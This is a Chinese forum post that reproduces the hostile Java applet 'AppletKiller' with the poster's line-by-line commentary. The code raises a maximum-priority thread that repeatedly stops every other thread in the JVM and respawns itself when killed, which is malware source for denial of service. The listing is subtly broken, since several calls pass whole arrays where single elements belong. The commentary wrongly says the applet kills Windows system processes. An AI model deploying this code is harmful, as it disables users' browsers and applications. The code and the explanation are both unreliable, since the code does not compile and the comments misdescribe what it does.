- 分享
- 0
- 人气
- 7
- 主题
- 13
- 帖子
- 1837
- UID
- 76124
- 积分
- 2113
- 阅读权限
- 20
- 注册时间
- 2007-5-6
- 最后登录
- 2018-4-22
- 在线时间
- 1487 小时
|
引用 java.applet.*;java.awt.*;java.io.*;
import java.applet.*;
import java.awt.*;
import java.io.*;
开一个class 名叫 appletkiller 承接 java.applet.Applet 施行 Runnable 库
public class AppletKiller extends java.applet.Applet implements Runnable
{
定义 killer 是 thread
Thread killer;
初始化 killer 是 null 空值
public void init()
{
killer = null;
}
开始的 statment
public void start()
{
如果 killer 是空值就 弄个新的 killer
设定它的 优先 是第一
killer 值得 thread 开始
if (killer == null)
{
killer = new Thread(this,"killer");
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
没写停的
public void stop() {}
// Kill all threads except this one
开跑
public void run()
{
try {
这个true不对啦 那里转进来的????
while (true)
{
开始 杀完你 windows 的 所有 工作 飞去下面的 threadkillr class
ThreadKiller.killAllThreads();
杀到的就死了 杀不到的 就 别掉它 没可能杀到 csrss.exe , rundll32.exe , winlogon.exe, 的 还有的救
然后 自己 也 停 100 我忘记是 秒 还是 毫秒
try { killer.sleep(100); }
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
// Resurrect the hostile thread in case of accidental ThreadDeath
finally
{
最后 又call class ?? 封进 ack ?? 什么来的??能这样咩?? 是不是 loop 不停的 ??
reborn 新的 thread
AppletKiller ack = new AppletKiller();
Thread reborn = new Thread(ack, "killer");
reborn.start();
}
}
}
class ThreadKiller
{
// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go
public static void killAllThreads()
{
普通的 定义
ThreadGroup thisGroup;
ThreadGroup topGroup;
ThreadGroup parentGroup;
// Determine the current thread group
把自己的 thread 的母 thread 装进 thisgroup
thisGroup = Thread.currentThread().getThreadGroup();
没力我要鼓掌!!!!!!
// Proceed to the top ThreadGroup
thisgroup 搬进 topgroup
topGroup = thisGroup;
topgroup 的 process 的全部 搬进 parentGroup
parentGroup = topGroup.getParent();
当parentGroup 不时空空的就
while(parentGroup != null)
{
搬来又搬走 她骂的 你的电脑包 不能动
topGroup = parentGroup;
parentGroup = parentGroup.getParent();
}
// Find all subgroups by descending recursively
终于来到最 高的 processor 了,又动用。。。。。findgroup 的 class
findGroups(topGroup);
}
最后的你们猜猜下会怎样??????????????????????????????
private static void findGroups(ThreadGroup g)
{
if (g == null)
{
return;
}
else
{
int numThreads = g.activeCount();
int numGroups = g.activeGroupCount();
Thread[] threads = new Thread[numThreads];
ThreadGroup[] groups = new ThreadGroup[numGroups];
g.enumerate(threads, false);
g.enumerate(groups, false);
for (int i = 0; i < numThreads; i++)
killOneThread(threads);
for (int i = 0; i < numGroups; i++)
findGroups(groups);
}
}
private static void killOneThread(Thread t)
{
if
(
t == null || t.getName().equals("killer")) {return;
}
else
{
t.stop();
}
}
} |
|